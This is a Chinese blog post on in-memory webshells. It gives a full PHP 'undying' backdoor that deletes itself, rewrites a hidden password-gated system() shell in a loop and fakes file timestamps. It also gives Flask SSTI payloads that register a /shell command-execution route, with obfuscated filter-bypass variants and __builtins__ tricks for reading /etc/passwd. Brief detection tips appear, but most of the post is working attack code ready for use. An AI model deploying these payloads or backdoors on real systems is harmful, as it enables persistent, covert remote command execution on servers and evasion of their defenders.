安小琪's blog

少年有梦,不应止于心动

浅析php&python内存马

浅析php&python内存马

webshell

webshell的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。

这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。

    内存 webshell 相比于常规 webshell 更容易躲避传统安全监测设备的检测,**Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地**。其通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

webshell内存马使用

新版本的冰蝎,可以直接进行注入内存马

PHP 内存马

PHP内存马想必大家都不陌生,是线下AWD中常用手段之一。在蚁剑中也有专门的插件可以一键注入内存马

php 内存马也就是 php 不死马,它的原理是将一个木马反复写入,在内存中执行死循环,使管理员无法删除木马文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
?>
  • ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  • set_time_limit()函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
  • unlink(FILE)删除文件本身,以起到隐蔽自身的作用。
  • while循环内每隔usleep(5000)即写新的后门文件,中间system()执行的命令用于修改文件的创建或修改时间,可以绕过find –name \'*.php\' –mmin -10命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

至于最后生成的隐蔽后门在需要校验一个POST参数的MD5值,原因在于防止其他人可以进行利用。

检测方法

  • 检查所有 php 进程处理请求的持续时间
  • 检测执行文件是否在文件系统真实存在

Python 内存马

我们常用的python框架有django、flask。两者都可能存在ssti漏洞。

Python 内存马利用 flask 框架中 SSTI 注入来实现,flask 框架中在 web 应用模板渲染的过程中用到 render_template_string() 进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现 python 内存马的注入。

render_template_string() 用来渲染一个字符串

在JAVA内存马中,实现最简单的内存马在于tomcat的路由机制filter。而我们想在python中实现内存马,首先需要考虑的是flask 是否能动态注册路由。

flask 常规注册的方式为使用装饰器 @app.route() 。而实际工作的函数为装饰器里调用的方法 self.add_url_rule()

1
app.add_url_rule('/index/',endpoint='index',view_func=index)

self.add_url_rule的三个参数:

  1. url
    与app.route()的第一个参数一样。必须以/开始
  2. endpoint
    站点,使用url_for进行反转时,这个里面传入的第一个参数时endpoint的值。url_for反转是通过视图函数名得到路径,所以若不指定该值,则默认值为函数名
  3. view_func
    方法。只需要写方法名(也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错

flask context

添加路由成功,想要实现内存webshell,关键在于view_func。view_func可以采用匿名函数的方式,该函数要实现实现捕获参数值、执行命令、响应。

Flask 的工作原理:

1
当一个网页请求进入 Flask,会实例化一个Request Context。在python中分出了两种上下文,请求上下文(request context)和应用上下文(session context)。一个请求上下文中封装了请求的信息。而上下文的结构是运用了一个Stack的栈结构,也就是说它拥有一个栈所拥有的全部特性。request context实例化后,它会被push到栈_request_ctx_stack中,那我们可以通过获取栈顶元素的方法来获取当前的请求。

构造webshell

Flask使用Jinja2渲染引擎,以{{}}`作为变量包裹的标识符同时,这个符号包裹内还可以执行一些简单的表达式 ,模板引擎会对输入变量进行编码转义 **对象的魔术方法:**

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
虽然通过 `{{...}} 执行表达式,但是命名空间是受限的,没有 builtins,所以 evalpopen 这些函数是不能使用的。但是我们可以通过任意一个函数的 func_globals 从而得到其命名空间,进而得到 builtins

__builtins__ 函数科普

这里简单介绍下python的内置函数_builtins_\ 。通过dir(__builtins__)可以查看内置函数,展示所有内置类型和函数。

我们先来看最基础的__import__函数

# 直接调用

1
__builtins__.__import__('os').system('dir')

# 通过dict访问

1
__builtins__.__dict__[‘import__('os')’].system('ls')

玩一些花样-转码

1
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')

此外还有file、open、eval等函数

1
2
3
__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")

# import 其他模块

1
2
3
__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)

关于import还有其他一些有意思的操作,包括reload方法、设置sys.modules[‘os’]、execfile等。

回到正题,Flask 内置了两个函数 url_forget_flashed_messages。也就是构造命令执行可以使用:

1
2
3
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello World'


@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.values.get('param'))

return render_template_string(template)

if __name__ == '__main__':
app.run(port=8000)

将 payload 拆解开:

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

payload 解析

url_for.globals['builtins']['eval']

这个是Flask SSTI中的payload。

url_for()是Flask的一个内置函数:

通过Flask内置函数可以调用其__globals__属性,该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__的:

__builtins__即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。其中是包含eval、exec等函数的:

image-20210930084519831

app.add_url_rule()函数

在Flask中注册路由的时候是添加的[@app.route装饰器来实现的。

点进去看到其源码实现,其调用了add_url_rule()函数来添加路由:

add_url_rule()函数定义:

1
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)

参数说明:

  • rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头;
  • endpoint:端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值;
  • view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号);
  • provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
  • options:要转发到基础规则对象的选项。Werkzeug的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听GET(并隐式地侦听HEAD)。从Flask0.6开始,通过标准请求处理隐式添加和处理选项;

由此可见,payload这部分是动态添加了一条路由,而处理该路由的函数是个由lambda关键字定义的匿名函数。

lambda 即匿名函数,payload 中 add_url_rule() 函数的第三个参数定义了一个 lambda 匿名函数,其中通过 os 库的 popen() 函数执行从 Web 请求中获取的 cmd 参数值并返回结果,其中该参数值默认为 whoami

_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例。

Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top

eval() 方法的语法:

eval(expression[, globals[, locals]])

globals - 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。指定全局变量。

使用ssti打payload后访问/shell?cmd=即可执行命令

绕过

在实际操作的过程中,经常会发现某些函数或者符号被过滤了,这个时候就需要一些绕过的技巧,这有助于我们进一步的开展攻击

  • url_for 可用 get_flashed_messagesrequest.application.__self__._get_data_for_json 等替换;
  • 代码执行函数替换,如 exec 等替换 eval;
  • 字符串可采用拼接方式,如 ['__builtins__']['eval'] 变为 ['__bui'+'ltins__']['ev'+'al']
  • __globals__ 可用 __getattribute__('__globa'+'ls__') 替换;
  • []中括号可用 .__getitem__().pop() 替换;
  • 过滤{{`或者`}},可以使用{%`绕过,`{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
  • 过滤_,可以用编码绕过, 比如:__class__ => \x5f\x5fclass\x5f\x5f
  • 过滤了_,还可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
  • 过滤了. 我们可以采用attr()[]绕过
  • ……

payload example:

1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})

flask 还有一个有趣的特性就是

Flask在渲染模板的时候,有

1
"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形

1
"".__class__===""["__cla"+"ss__"]

python的格式化字符串特性

因为python的字符串格式化允许指定ascii码为字符
如果放到flask里,就可以改写成
"{0:c}"['format'](97)

那么__class__就可以变成

1
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

数字被过滤

当我们使用attr的时候,需要用的数字,那么如果数字被过滤了,我们可以使用这些特殊的数字来绕过

检测

  • 查看所有内建模块中是否包含 eval、exec 等可以执行代码的函数如:class warnings.catch_warnings、class site.Quitter等。
  • 检测 self.add_url_rule() 中特殊名字的路由如 shell 等。

参考链接

https://www.kitsch.live/2021/05/17/webshell%E2%91%A3python%E5%92%8Cphp%E7%9A%84%E5%86%85%E5%AD%98%E9%A9%AC/

https://www.geekby.site/2021/09/java%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/

https://www.freebuf.com/articles/web/274466.html

https://github.com/iceyhexman/flask_memory_shell